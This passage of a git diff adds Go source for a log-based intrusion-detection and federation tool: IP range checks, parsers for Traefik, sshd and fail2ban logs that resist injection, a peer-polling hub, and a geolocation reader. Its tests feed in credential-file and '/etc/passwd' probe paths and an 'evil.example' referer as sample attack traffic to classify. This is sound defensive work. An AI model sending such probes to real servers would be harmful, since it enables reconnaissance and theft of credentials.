"240.0.0.0/4", + "::/128", "::1/128", "fc00::/7", "fe80::/10", "ff00::/8", "2001:db8::/32", "64:ff9b::/96", "100::/64", + } { + out = append(out, netip.MustParsePrefix(c)) + } + return out +}() + +// IsGlobal reports whether a is a routable public unicast address: what a +// blocklist may contain. Private, loopback, link-local, multicast, CGNAT, +// documentation and reserved ranges are not. +func IsGlobal(a netip.Addr) bool { + a = a.Unmap() + if !a.IsValid() || a.Zone() != "" { + return false + } + for _, p := range nonGlobal { + if p.Contains(a) { + return false + } + } + return true +} diff --git a/internal/core/parse.go b/internal/core/parse.go new file mode 100644 index 0000000..7525326 --- /dev/null +++ b/internal/core/parse.go @@ -0,0 +1,191 @@ +package core + +import ( + "encoding/json" + "errors" + "net/netip" + "regexp" + "strings" + "time" +) + +// ErrIgnored means a line is valid but carries nothing to record. +var ErrIgnored = errors.New("ignored") + +const ( + maxPath = 240 + maxUA = 200 + maxDomain = 100 +) + +func clip(s string, n int) string { + s = strings.Map(func(r rune) rune { + if r < 0x20 || r == 0x7f { + return -1 + } + return r + }, s) + if len(s) > n { + s = strings.ToValidUTF8(s[:n], "") + } + return s +} + +func cleanIP(s string) (string, bool) { + a, err := netip.ParseAddr(strings.TrimSpace(s)) + if err != nil || a.Zone() != "" { + return "", false // a zone ("%eth0") never appears in a client address and is an injection vector + } + return a.Unmap().String(), true +} + +type traefikLine struct { + ClientHost string `json:"ClientHost"` + Host string `json:"RequestHost"` + Method string `json:"RequestMethod"` + Path string `json:"RequestPath"` + Status int `json:"DownstreamStatus"` + StartUTC string `json:"StartUTC"` + Time string `json:"time"` + UA string `json:"request_User-Agent"` + Referer string `json:"request_Referer"` + FetchSite string `json:"request_Sec-Fetch-Site"` + FetchDest string `json:"request_Sec-Fetch-Dest"` + Duration int64 `json:"Duration"` + Size int64 `json:"DownstreamContentSize"` +} + +// ParseTraefik parses one Traefik JSON access log line. +func ParseTraefik(line []byte) (Event, error) { + var l traefikLine + if err := json.Unmarshal(line, &l); err != nil { + return Event{}, err + } + ip, ok := cleanIP(l.ClientHost) + if !ok { + return Event{}, ErrIgnored + } + ts := l.StartUTC + if ts == "" { + ts = l.Time + } + t, err := time.Parse(time.RFC3339Nano, ts) + if err != nil { + return Event{}, err + } + ev := Event{ + Time: t.UTC(), IP: ip, Source: "traefik", Status: l.Status, + Domain: clip(strings.ToLower(l.Host), maxDomain), + Method: clip(l.Method, 12), + Path: clip(l.Path, maxPath), + UA: clip(l.UA, maxUA), + DurationNS: l.Duration, Bytes: l.Size, Referer: clip(l.Referer, 300), + } + ev.Framed = Framed(l.FetchSite, l.FetchDest) + c := Classify(l.Method, l.Path, l.Status) + ev.Cat, ev.Soft, ev.Strong, ev.Weak = c.Cat, c.Soft, c.Strong, c.Weak + return ev, nil +} + +var subresourceDest = map[string]bool{ + "image": true, "script": true, "style": true, "font": true, "iframe": true, "frame": true, "embed": true, + "object": true, "audio": true, "video": true, "track": true, "worker": true, "sharedworker": true, + "serviceworker": true, "manifest": true, "report": true, "xslt": true, "paintworklet": true, "audioworklet": true, +} + +// Framed reports whether the Sec-Fetch-* headers say a browser sent the request +// on behalf of another site or as a subresource (an on +// a third party page). Attack tools do not send these headers. +func Framed(site, dest string) bool { + site, dest = strings.ToLower(strings.TrimSpace(site)), strings.ToLower(strings.TrimSpace(dest)) + return site == "cross-site" || site == "same-site" || subresourceDest[dest] +} + +const sshTail = `(?: ssh2(?:: .*)?)?(?: \[preauth\])?$` + +// The user name is attacker controlled ("ssh 'a from 1.2.3.4 port 1 x'@host"), +// so every rule that carries a user is anchored at the END of the message and +// takes the user greedily: the address is always the last "from IP port N". +var sshRules = []struct { + re *regexp.Regexp + cat Category + user int // capture group of the user, 0 if none + ip int +}{ + {regexp.MustCompile(`^Invalid user (.*) from (\S+) port \d+` + sshTail), SSHFail, 1, 2}, + {regexp.MustCompile(`^Connection closed by invalid user (.*) (\S+) port \d+` + sshTail), SSHFail, 1, 2}, + {regexp.MustCompile(`^Connection closed by authenticating user (.+) (\S+) port \d+` + sshTail), SSHFail, 1, 2}, + {regexp.MustCompile(`^Failed (?:password|publickey|keyboard-interactive/pam) for (?:invalid user )?(.+) from (\S+) port \d+` + sshTail), SSHFail, 1, 2}, + {regexp.MustCompile(`^Disconnected from (?:authenticating|invalid) user (.*) (\S+) port \d+` + sshTail), SSHFail, 1, 2}, + {regexp.MustCompile(`^Accepted (?:publickey|password|keyboard-interactive/pam) for (.+) from (\S+) port \d+` + sshTail), SSHOK, 1, 2}, + // no user field: the address sits at a fixed position right after fixed text + {regexp.MustCompile(`^Unable to negotiate with (\S+) port \d+`), SSHProbe, 0, 1}, + {regexp.MustCompile(`^banner exchange: Connection from (\S+) port \d+`), SSHProbe, 0, 1}, + {regexp.MustCompile(`^Protocol major versions differ for (\S+) port \d+`), SSHProbe, 0, 1}, + {regexp.MustCompile(`^Connection (?:closed|reset) by (\S+) port \d+(?: \[preauth\])?$`), SSHProbe, 0, 1}, +} + +var sshProg = regexp.MustCompile(`^sshd(?:-session)?(?:\[\d+\])?:$`) + +// ParseAuth parses one /var/log/auth.log line (ISO timestamps) written by sshd. +// The line must be exactly " sshd[pid]: ": text that +// merely mentions sshd (logger, sudo COMMAND=...) is ignored. +func ParseAuth(line string) (Event, error) { + f := strings.SplitN(line, " ", 4) + if len(f) < 4 || !sshProg.MatchString(f[2]) { + return Event{}, ErrIgnored + } + msg := strings.TrimSpace(f[3]) + msg = strings.TrimPrefix(msg, "error: ") + if strings.HasPrefix(msg, "kex_exchange_identification") { + // "kex_exchange_identification: Connection closed by remote host" has no + // IP; the line that follows ("Connection closed by IP port N") records it. + return Event{}, ErrIgnored + } + for _, r := range sshRules { + m := r.re.FindStringSubmatch(msg) + if m == nil { + continue + } + if r.user > 0 && strings.Contains(m[r.user], " from ") { + return Event{}, ErrIgnored // an injection attempt in the user name + } + ip, ok := cleanIP(m[r.ip]) + if !ok { + continue + } + t, err := time.Parse(time.RFC3339Nano, f[0]) + if err != nil { + return Event{}, err + } + ev := Event{Time: t.UTC(), IP: ip, Cat: r.cat, Source: "ssh"} + if r.user > 0 { + ev.User = clip(m[r.user], 64) + } + return ev, nil + } + return Event{}, ErrIgnored +} + +var f2bRe = regexp.MustCompile(`^(\d{4}-\d\d-\d\d \d\d:\d\d:\d\d)(?:,\d+)? fail2ban\.actions\s+\[\d+\]: NOTICE\s+\[([^\]]+)\] (Restore Ban|Ban|Unban) (\S+)`) + +// ParseFail2ban parses one fail2ban.log line. Timestamps use the host local +// time zone (UTC in containers unless TZ is set). +func ParseFail2ban(line string) (Event, error) { + m := f2bRe.FindStringSubmatch(line) + if m == nil { + return Event{}, ErrIgnored + } + ip, ok := cleanIP(m[4]) + if !ok { + return Event{}, ErrIgnored + } + t, err := time.ParseInLocation("2006-01-02 15:04:05", m[1], time.Local) + if err != nil { + return Event{}, err + } + return Event{ + Time: t.UTC(), IP: ip, Cat: Ban, Source: "fail2ban", Jail: clip(m[2], 40), + Unban: m[3] == "Unban", Restore: m[3] == "Restore Ban", + }, nil +} diff --git a/internal/core/review_test.go b/internal/core/review_test.go new file mode 100644 index 0000000..c99670d --- /dev/null +++ b/internal/core/review_test.go @@ -0,0 +1,33 @@ +package core + +import "testing" + +func TestGitFilesAreScanner(t *testing.T) { + for _, p := range []string{"/.git-credentials", "/.gitignore", "/.gitconfig", "/.git-rewrite", "/.git/HEAD"} { + if c := Classify("GET", p, 404); c.Cat != Scanner { + t.Errorf("%s: %s", p, c.Cat) + } + } + if c := Classify("GET", "/.github/workflows/x.yml", 404); c.Cat == Scanner { + t.Errorf(".github: %s", c.Cat) + } +} + +func TestTraefikSecFetchFraming(t *testing.T) { + base := `{"ClientHost":"8.8.8.8","RequestHost":"a.example","RequestMethod":"GET","RequestPath":"/etc/passwd","DownstreamStatus":404,"StartUTC":"2026-11-14T10:00:00Z"` + for _, tc := range []struct { + extra string + want bool + }{ + {``, false}, + {`,"request_Sec-Fetch-Site":"cross-site","request_Sec-Fetch-Dest":"image","request_Referer":"https://evil.example/"`, true}, + {`,"request_Sec-Fetch-Site":"same-site"`, true}, + {`,"request_Sec-Fetch-Site":"none","request_Sec-Fetch-Dest":"document"`, false}, + {`,"request_Sec-Fetch-Site":"same-origin","request_Sec-Fetch-Dest":"Script"`, true}, + } { + ev, err := ParseTraefik([]byte(base + tc.extra + `}`)) + if err != nil || ev.Framed != tc.want || ev.Cat != Exploit { + t.Errorf("%s: framed=%v cat=%s err=%v", tc.extra, ev.Framed, ev.Cat, err) + } + } +} diff --git a/internal/fed/fed.go b/internal/fed/fed.go new file mode 100644 index 0000000..e532961 --- /dev/null +++ b/internal/fed/fed.go @@ -0,0 +1,289 @@ +// Package fed lets one instance aggregate the summaries of other instances. +package fed + +import ( + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/netip" + "net/url" + "strings" + "sync" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" +) + +// maxBody caps what a hub accepts from one peer response. +const maxBody = 8 << 20 + +// Peer is a remote Urutau instance. +type Peer struct { + Name, URL string + // Token overrides the hub-wide token for this peer (URUTAU_PEER_TOKEN_). + Token string +} + +// ParsePeer parses "name=https://url". +func ParsePeer(s string) (Peer, error) { + name, u, ok := strings.Cut(s, "=") + name, u = strings.TrimSpace(name), strings.TrimRight(strings.TrimSpace(u), "/") + if !ok || name == "" || u == "" { + return Peer{}, fmt.Errorf("peer %q: expected name=https://url", s) + } + pu, err := url.Parse(u) + if err != nil || pu.Host == "" || pu.User != nil { + return Peer{}, fmt.Errorf("peer %q: invalid URL", s) + } + switch { + case pu.Scheme == "https": + case pu.Scheme == "http" && isLoopbackHost(pu.Hostname()): + default: + return Peer{}, fmt.Errorf("peer %q: the URL must be https (plain http only for loopback)", s) + } + return Peer{Name: name, URL: u}, nil +} + +func isLoopbackHost(h string) bool { + if h == "localhost" { + return true + } + a, err := netip.ParseAddr(h) + return err == nil && a.IsLoopback() +} + +type peerState struct { + online bool + lastOK int64 + err string + latency int64 + version string + exports map[string]store.PeerExport +} + +// Hub polls peers and serves their latest summaries. +type Hub struct { + Peers []Peer + Token string + Interval time.Duration + client *http.Client + + mu sync.RWMutex + state map[string]*peerState +} + +// NewHub creates a hub; Interval defaults to 15 seconds. +func NewHub(peers []Peer, token string) *Hub { + h := &Hub{Peers: peers, Token: token, Interval: 15 * time.Second, + client: &http.Client{Timeout: 4 * time.Second, CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}, state: map[string]*peerState{}} + for _, p := range peers { + h.state[p.Name] = &peerState{exports: map[string]store.PeerExport{}} + } + return h +} + +func (h *Hub) get(ctx context.Context, p Peer, path string, out any) (time.Duration, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, p.URL+path, nil) + if err != nil { + return 0, err + } + tok := h.Token + if p.Token != "" { + tok = p.Token + } + if tok != "" { + req.Header.Set("Authorization", "Bearer "+tok) + } + req.Header.Set("Accept", "application/json") + t := time.Now() + resp, err := h.client.Do(req) + if err != nil { + return 0, err + } + defer resp.Body.Close() + if resp.StatusCode != 200 { + io.Copy(io.Discard, io.LimitReader(resp.Body, 4096)) + return 0, fmt.Errorf("HTTP %d", resp.StatusCode) + } + body, err := io.ReadAll(io.LimitReader(resp.Body, maxBody+1)) + if err != nil { + return 0, err + } + if len(body) > maxBody { + return 0, fmt.Errorf("response larger than %d bytes", maxBody) + } + if err := json.Unmarshal(body, out); err != nil { + return 0, err + } + return time.Since(t), nil +} + +// Refresh fetches every peer once, concurrently. Failures only mark the peer offline. +func (h *Hub) Refresh(ctx context.Context) { + var wg sync.WaitGroup + for _, p := range h.Peers { + wg.Add(1) + go func(p Peer) { + defer wg.Done() + exports := map[string]store.PeerExport{} + var lat time.Duration + var ferr error + for name := range store.Ranges { + var e store.PeerExport + d, err := h.get(ctx, p, "/api/v1/peer/export?range="+name, &e) + if err == nil { + err = e.Sanitize(name) + } + if err != nil { + ferr = err + break + } + lat = d + e.Summary = rename(e.Summary, p.Name) + exports[name] = e + } + h.mu.Lock() + st := h.state[p.Name] + if ferr != nil { + st.online, st.err = false, ferr.Error() + if len(st.err) > 160 { + st.err = st.err[:160] + } + } else { + st.online, st.err, st.lastOK, st.latency, st.exports = true, "", time.Now().Unix(), lat.Milliseconds(), exports + for _, e := range exports { + st.version = e.Summary.Version + } + } + h.mu.Unlock() + }(p) + } + wg.Wait() +} + +// rename forces the configured peer name on every row of a remote summary. +func rename(s store.Summary, name string) store.Summary { + s.Host = name + for i := range s.Hosts { + s.Hosts[i].Name, s.Hosts[i].Self = name, false + } + for i := range s.IPs { + s.IPs[i].Hosts = []string{name} + } + for i := range s.Recent { + s.Recent[i].Host = name + } + for i := range s.Sources { + s.Sources[i].Host = name + } + return s +} + +// Run refreshes until ctx is done. +func (h *Hub) Run(ctx context.Context) { + if len(h.Peers) == 0 { + return + } + h.Refresh(ctx) + t := time.NewTicker(h.Interval) + defer t.Stop() + for { + select { + case <-ctx.Done(): + return + case <-t.C: + h.Refresh(ctx) + } + } +} + +// Hosts lists the status of every peer (online or not). +func (h *Hub) Hosts() []store.HostInfo { + h.mu.RLock() + defer h.mu.RUnlock() + out := make([]store.HostInfo, 0, len(h.Peers)) + for _, p := range h.Peers { + st := h.state[p.Name] + hi := store.HostInfo{Name: p.Name, Online: st.online, Error: st.err, LastSeen: st.lastOK, LatencyMS: st.latency, Version: st.version} + if e, ok := st.exports["24h"]; ok && st.online { + s := e.Summary + hi.Requests, hi.Malicious = s.Totals.Requests, s.Totals.Malicious + hi.HostileIPs, hi.ActiveBans = s.Totals.HostileIPs, s.Totals.ActiveBans + } + out = append(out, hi) + } + return out +} + +// Summaries returns the summaries of online peers for a range. When only is +// not empty just that peer is returned. +func (h *Hub) Summaries(rangeName, only string) []store.Summary { + h.mu.RLock() + defer h.mu.RUnlock() + var out []store.Summary + for _, p := range h.Peers { + if only != "" && only != p.Name { + continue + } + st := h.state[p.Name] + if e, ok := st.exports[rangeName]; ok && st.online { + out = append(out, e.Summary) + } + } + return out +} + +// Has reports whether name is a configured peer. +func (h *Hub) Has(name string) bool { + for _, p := range h.Peers { + if p.Name == name { + return true + } + } + return false +} + +// IPDetail looks an address up in the cached exports of the online peers (the +// 7-day summary, which carries the full row). No request is made to the peer. +func (h *Hub) IPDetail(ip string) []store.IPSummary { + h.mu.RLock() + defer h.mu.RUnlock() + var out []store.IPSummary + for _, p := range h.Peers { + st := h.state[p.Name] + e, ok := st.exports["7d"] + if !ok || !st.online { + continue + } + for _, x := range e.Summary.IPs { + if x.IP == ip { + out = append(out, x) + break + } + } + } + return out +} + +// Traffic returns the cached analytics of online peers (or only one) for a +// domain ("all" or a name), from the same export. +func (h *Hub) Traffic(rangeName, domain, only string) []store.TrafficData { + h.mu.RLock() + defer h.mu.RUnlock() + var out []store.TrafficData + for _, p := range h.Peers { + if only != "" && only != p.Name { + continue + } + st := h.state[p.Name] + if e, ok := st.exports[rangeName]; ok && st.online { + if t, ok := e.Traffic[domain]; ok { + t.Host = p.Name + out = append(out, t) + } + } + } + return out +} diff --git a/internal/fed/fed_test.go b/internal/fed/fed_test.go new file mode 100644 index 0000000..0af8312 --- /dev/null +++ b/internal/fed/fed_test.go @@ -0,0 +1,168 @@ +package fed_test + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "sync/atomic" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" +) + +func TestPeerPollingMergeAndOffline(t *testing.T) { + ps := store.New(store.Config{Name: "remote-self-name", Version: "t"}) + ps.Ingest(core.Event{Time: time.Now(), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Path: "/x", Method: "GET"}) + ps.Traffic(core.Event{Time: time.Now(), IP: "9.9.9.9", Cat: core.OK, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/", Status: 200}) + srv := httptest.NewServer(server.New(server.Options{Token: "main-token-0123456789-abcdefghijklmnopqrs", PeerTokens: []string{"peer-secret-0123456789-abcdefghijklmnopqr"}, Version: "t", Store: ps})) + + p, err := fed.ParsePeer("hostinger=" + srv.URL + "/") + if err != nil || p.Name != "hostinger" { + t.Fatal(p, err) + } + for _, bad := range []string{"nourl", "=http://x", "a=ftp://x", "a=", "a=http://example.org", "a=http://10.0.0.5:8790", "a=https://user:pw@example.org"} { + if _, err := fed.ParsePeer(bad); err == nil { + t.Errorf("%q must be rejected", bad) + } + } + + good := fed.NewHub([]fed.Peer{p}, "peer-secret-0123456789-abcdefghijklmnopqr") + good.Refresh(context.Background()) + sums := good.Summaries("24h", "") + if len(sums) != 1 || sums[0].Host != "hostinger" || sums[0].IPs[0].Hosts[0] != "hostinger" || sums[0].IPs[0].IP != "5.5.5.5" { + t.Fatalf("summaries %+v", sums) + } + if h := good.Hosts(); !h[0].Online || h[0].Name != "hostinger" { + t.Fatalf("hosts %+v", h) + } + if d := good.IPDetail("5.5.5.5"); len(d) != 1 || d[0].Hosts[0] != "hostinger" { + t.Fatalf("ip detail from the cached export: %v", d) + } + if tr := good.Traffic("24h", "all", ""); len(tr) != 1 || tr[0].Requests != 1 || tr[0].Host != "hostinger" { + t.Fatalf("traffic %+v", tr) + } + if tr := good.Traffic("24h", "a.example", "hostinger"); len(tr) != 1 || tr[0].Requests != 1 { + t.Fatalf("per-domain traffic %+v", tr) + } + + bad := fed.NewHub([]fed.Peer{p}, "wrong") + bad.Refresh(context.Background()) + if h := bad.Hosts(); h[0].Online || h[0].Error == "" || len(bad.Summaries("24h", "")) != 0 { + t.Fatalf("wrong token must mark the peer offline: %+v", h) + } + + srv.Close() + good.Refresh(context.Background()) + if h := good.Hosts(); h[0].Online || len(good.Summaries("24h", "")) != 0 { + t.Fatalf("closed peer must be offline: %+v", h) + } +} + +func TestHubOnlyAsksForTheExportAndRefusesHostileResponses(t *testing.T) { + var paths []string + var huge atomic.Bool + var redirects atomic.Int32 + target := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + redirects.Add(1) + w.Write([]byte("{}")) + })) + defer target.Close() + mux := http.NewServeMux() + mux.HandleFunc("/api/v1/peer/export", func(w http.ResponseWriter, r *http.Request) { + paths = append(paths, r.URL.Path) + switch { + case r.URL.Query().Get("redirect") == "1": + case huge.Load(): + w.Write([]byte(`{"v":1,"pad":"` + strings.Repeat("x", 9<<20) + `"}`)) + return + } + http.Redirect(w, r, target.URL+"/x", http.StatusFound) + }) + srv := httptest.NewServer(mux) + defer srv.Close() + p := fed.Peer{Name: "evil", URL: srv.URL} + + h := fed.NewHub([]fed.Peer{p}, "t") + h.Refresh(context.Background()) + if redirects.Load() != 0 { + t.Fatal("redirects must not be followed") + } + if st := h.Hosts()[0]; st.Online { + t.Fatalf("a redirect is a failure: %+v", st) + } + huge.Store(true) + h.Refresh(context.Background()) + if st := h.Hosts()[0]; st.Online || !strings.Contains(st.Error, "larger") { + t.Fatalf("an oversized response must be refused: %+v", st) + } + for _, path := range paths { + if path != "/api/v1/peer/export" { + t.Fatalf("the hub asked for %s", path) + } + } +} + +func TestHubBoundsAnInflatedPeer(t *testing.T) { + mux := http.NewServeMux() + mux.HandleFunc("/api/v1/peer/export", func(w http.ResponseWriter, r *http.Request) { + var e store.PeerExport + e.V = 1 + e.Summary.Version = strings.Repeat("v", 5000) + for i := 0; i < 1000; i++ { + e.Summary.IPs = append(e.Summary.IPs, store.IPSummary{IP: "1.2.3." + "4", Score: 1, Samples: make([]string, 40), Hosts: make([]string, 40)}) + } + e.Summary.IPs = append(e.Summary.IPs, store.IPSummary{IP: "not an ip", Score: 1e9}) + e.Summary.Timeline.Series = map[string][]uint32{"exploit": make([]uint32, 100000), "evil": make([]uint32, 10)} + for i := 0; i < 200; i++ { + e.Summary.TopPaths = append(e.Summary.TopPaths, store.Count{Key: strings.Repeat("p", 9000), N: 1}) + } + e.Traffic = map[string]store.TrafficData{} + for i := 0; i < 60; i++ { + e.Traffic[strings.Repeat("d", i+1)] = store.TrafficData{Timeline: struct { + Start int64 `json:"start"` + Step int64 `json:"step"` + Req []uint32 `json:"req"` + Pages []uint32 `json:"pages"` + }{Req: make([]uint32, 5000)}} + } + json.NewEncoder(w).Encode(e) + }) + srv := httptest.NewServer(mux) + defer srv.Close() + h := fed.NewHub([]fed.Peer{{Name: "p", URL: srv.URL}}, "t") + h.Refresh(context.Background()) + sums := h.Summaries("1h", "") + if len(sums) != 1 { + t.Fatalf("hosts %+v", h.Hosts()) + } + s := sums[0] + if len(s.IPs) != 500 || len(s.Version) > 32 || len(s.TopPaths) > 50 || len(s.TopPaths[0].Key) > 300 { + t.Fatalf("caps not applied: ips=%d version=%d paths=%d", len(s.IPs), len(s.Version), len(s.TopPaths)) + } + for _, x := range s.IPs { + if x.IP == "not an ip" || len(x.Samples) > 6 || len(x.Hosts) > 4 { + t.Fatalf("bad row survived: %+v", x) + } + } + if len(s.Timeline.Series["exploit"]) != 60 || s.Timeline.Series["evil"] != nil || len(s.Timeline.Series["ok"]) != 60 { + t.Fatal("the timeline grid is fixed by the range") + } + kept := 0 + for i := 1; i <= 60; i++ { + for _, got := range h.Traffic("1h", strings.Repeat("d", i), "") { + kept++ + if len(got.Timeline.Req) != 60 { + t.Fatalf("traffic grid must be fixed: %d", len(got.Timeline.Req)) + } + } + } + if kept > 27 { + t.Fatalf("too many domains accepted from a peer: %d", kept) + } +} diff --git a/internal/geo/geo.go b/internal/geo/geo.go new file mode 100644 index 0000000..17a2a8d --- /dev/null +++ b/internal/geo/geo.go @@ -0,0 +1,351 @@ +// Package geo resolve geolocalização e ASN offline a partir de bases MMDB +// (DB-IP Lite), com leitor MMDB próprio, mmap somente leitura e troca a +// quente da base em uso. +package geo + +import ( + "container/list" + "net/netip" + "os" + "path/filepath" + "sort" + "sync" + "sync/atomic" + "time" +) + +// Attribution deve ser exibida onde os dados forem apresentados (CC BY 4.0). +const Attribution = "IP geolocation by DB-IP (https://db-ip.com), CC BY 4.0" + +// Info é o resultado de uma consulta; campos ausentes ficam zerados. +type Info struct { + CountryCode string `json:"cc,omitempty"` + Country string `json:"country,omitempty"` // nome em inglês + CountryPT string `json:"country_pt,omitempty"` // nome em pt-BR quando houver + Continent string `json:"continent,omitempty"` + Region string `json:"region,omitempty"` + City string `json:"city,omitempty"` + Lat float64 `json:"lat,omitempty"` + Lon float64 `json:"lon,omitempty"` + ASN uint32 `json:"asn,omitempty"` + ASOrg string `json:"as_org,omitempty"` +} + +// FileStatus descreve uma base carregada. +type FileStatus struct { + File string `json:"file,omitempty"` + Type string `json:"type,omitempty"` + Build time.Time `json:"build,omitempty"` // build_epoch dos metadados + Loaded bool `json:"loaded"` +} + +// Status resume o estado do resolvedor. +type Status struct { + City FileStatus `json:"city"` + ASN FileStatus `json:"asn"` + LastUpdate time.Time `json:"last_update,omitempty"` // última troca bem-sucedida + LastCheck time.Time `json:"last_check,omitempty"` + LastError string `json:"last_error,omitempty"` +} + +type kind struct { + name string // "city" | "asn" + prefix string // dbip-city-lite- +} + +var ( + kindCity = kind{"city", "dbip-city-lite-"} + kindASN = kind{"asn", "dbip-asn-lite-"} +) + +type db struct { + r *reader + file string +} + +// Resolver é seguro para uso concorrente. +type Resolver struct { + dir string + city atomic.Pointer[db] + asn atomic.Pointer[db] + + cache *lru + + mu sync.Mutex // status e instalação + lastUpdate time.Time + lastCheck time.Time + lastErr string + updating atomic.Bool +} + +// Open carrega as bases que existirem em dir (criando-o se preciso). Sem +// bases, Lookup devolve Info{} até que o updater baixe alguma. +func Open(dir string) (*Resolver, error) { + if err := os.MkdirAll(dir, 0o755); err != nil { + return nil, err + } + r := &Resolver{dir: dir, cache: newLRU(8192)} + for _, k := range []kind{kindCity, kindASN} { + files := r.listFiles(k) + // da mais nova para a mais antiga: usa a primeira que abrir. + for i := len(files) - 1; i >= 0; i-- { + rd, err := openReader(files[i]) + if err != nil { + r.setErr(k.name + ": " + err.Error()) + continue + } + if err := rd.sanity(); err != nil { + rd.close() + r.setErr(k.name + ": " + err.Error()) + continue + } + r.slot(k).Store(&db{r: rd, file: files[i]}) + break + } + } + return r, nil +} + +func (r *Resolver) slot(k kind) *atomic.Pointer[db] { + if k.name == "city" { + return &r.city + } + return &r.asn +} + +// listFiles devolve os .mmdb do tipo, em ordem crescente (YYYY-MM). +func (r *Resolver) listFiles(k kind) []string { + m, _ := filepath.Glob(filepath.Join(r.dir, k.prefix+"*.mmdb")) + sort.Strings(m) + return m +} + +func (r *Resolver) setErr(s string) { + r.mu.Lock() + r.lastErr = s + r.mu.Unlock() +} + +// Close libera as bases. Lookups posteriores devolvem Info{}. +func (r *Resolver) Close() error { + var first error + for _, s := range []*atomic.Pointer[db]{&r.city, &r.asn} { + if d := s.Swap(nil); d != nil { + if err := d.r.close(); err != nil && first == nil { + first = err + } + } + } + r.cache.clear() + return first +} + +// Status devolve um retrato do estado atual. +func (r *Resolver) Status() Status { + st := Status{} + fill := func(fs *FileStatus, d *db) { + if d == nil { + return + } + fs.File, fs.Type, fs.Loaded = filepath.Base(d.file), d.r.DatabaseType, true + fs.Build = time.Unix(int64(d.r.BuildEpoch), 0).UTC() + } + fill(&st.City, r.city.Load()) + fill(&st.ASN, r.asn.Load()) + r.mu.Lock() + st.LastUpdate, st.LastCheck, st.LastError = r.lastUpdate, r.lastCheck, r.lastErr + r.mu.Unlock() + return st +} + +func skipAddr(ip netip.Addr) bool { + return !ip.IsValid() || ip.IsPrivate() || ip.IsLoopback() || ip.IsUnspecified() || + ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsMulticast() +} + +// Lookup consulta cidade e ASN do IP. IPs privados/loopback/etc. devolvem Info{}. +func (r *Resolver) Lookup(ip netip.Addr) Info { + ip = ip.Unmap() + if skipAddr(ip) { + return Info{} + } + if in, ok := r.cache.get(ip); ok { + return in + } + in := r.lookupRaw(ip) + r.cache.put(ip, in) + return in +} + +func (r *Resolver) lookupRaw(ip netip.Addr) Info { + var in Info + if d := r.city.Load(); d != nil && d.r.acquire() { + if off, ok := d.r.find(ip); ok { + fillCity(d.r.dec, off, &in) + } + d.r.release() + } + if d := r.asn.Load(); d != nil && d.r.acquire() { + if off, ok := d.r.find(ip); ok { + fillASN(d.r.dec, off, &in) + } + d.r.release() + } + return in +} + +// fillCity extrai campos no layout GeoIP2-City; erros de decodificação +// deixam o que já foi lido. +func fillCity(d decoder, off uint, in *Info) { + _ = d.mapEntries(off, func(key []byte, v uint) error { + switch string(key) { + case "country": + _ = d.mapEntries(v, func(k []byte, v uint) error { + switch string(k) { + case "iso_code": + if s, err := d.str(v); err == nil { + in.CountryCode = string(s) + } + case "names": + readNames(d, v, &in.Country, &in.CountryPT) + } + return nil + }) + case "continent": + _ = d.mapEntries(v, func(k []byte, v uint) error { + if string(k) == "code" { + if s, err := d.str(v); err == nil { + in.Continent = string(s) + } + } + return nil + }) + case "subdivisions": + if first, ok := firstElem(d, v); ok { + _ = d.mapEntries(first, func(k []byte, v uint) error { + if string(k) == "names" { + var pt string + readNames(d, v, &in.Region, &pt) + } + return nil + }) + } + case "city": + _ = d.mapEntries(v, func(k []byte, v uint) error { + if string(k) == "names" { + var pt string + readNames(d, v, &in.City, &pt) + } + return nil + }) + case "location": + _ = d.mapEntries(v, func(k []byte, v uint) error { + switch string(k) { + case "latitude": + in.Lat, _ = d.floatAt(v) + case "longitude": + in.Lon, _ = d.floatAt(v) + } + return nil + }) + } + return nil + }) +} + +func fillASN(d decoder, off uint, in *Info) { + _ = d.mapEntries(off, func(key []byte, v uint) error { + switch string(key) { + case "autonomous_system_number": + if n, err := d.uintAt(v); err == nil { + in.ASN = uint32(n) + } + case "autonomous_system_organization": + if s, err := d.str(v); err == nil { + in.ASOrg = string(s) + } + } + return nil + }) +} + +// readNames lê "en" em en e "pt-BR" em pt (pt pode ser nil-equivalente). +func readNames(d decoder, off uint, en, pt *string) { + _ = d.mapEntries(off, func(k []byte, v uint) error { + switch string(k) { + case "en": + if s, err := d.str(v); err == nil { + *en = string(s) + } + case "pt-BR": + if s, err := d.str(v); err == nil { + *pt = string(s) + } + } + return nil + }) +} + +// firstElem devolve o offset do primeiro elemento de um array. +func firstElem(d decoder, off uint) (uint, bool) { + v, err := d.resolve(off) + if err != nil { + return 0, false + } + typ, size, p, err := d.header(v) + if err != nil || typ != tArray || size == 0 { + return 0, false + } + return p, true +} + +// ---- cache LRU ---- + +type lruEntry struct { + ip netip.Addr + info Info +} + +type lru struct { + mu sync.Mutex + cap int + m map[netip.Addr]*list.Element + l *list.List +} + +func newLRU(n int) *lru { + return &lru{cap: n, m: make(map[netip.Addr]*list.Element, n), l: list.New()} +} + +func (c *lru) get(ip netip.Addr) (Info, bool) { + c.mu.Lock() + defer c.mu.Unlock() + if e, ok := c.m[ip]; ok { + c.l.MoveToFront(e) + return e.Value.(*lruEntry).info, true + } + return Info{}, false +} + +func (c *lru) put(ip netip.Addr, in Info) { + c.mu.Lock() + defer c.mu.Unlock() + if e, ok := c.m[ip]; ok { + e.Value.(*lruEntry).info = in + c.l.MoveToFront(e) + return + } + c.m[ip] = c.l.PushFront(&lruEntry{ip, in}) + if c.l.Len() > c.cap { + old := c.l.Back() + c.l.Remove(old) + delete(c.m, old.Value.(*lruEntry).ip) + } +} + +func (c *lru) clear() { + c.mu.Lock() + c.m = make(map[netip.Addr]*list.Element, c.cap) + c.l.Init() + c.mu.Unlock() +} diff --git a/internal/geo/geo_test.go b/internal/geo/geo_test.go new file mode 100644 index 0000000..7d02593 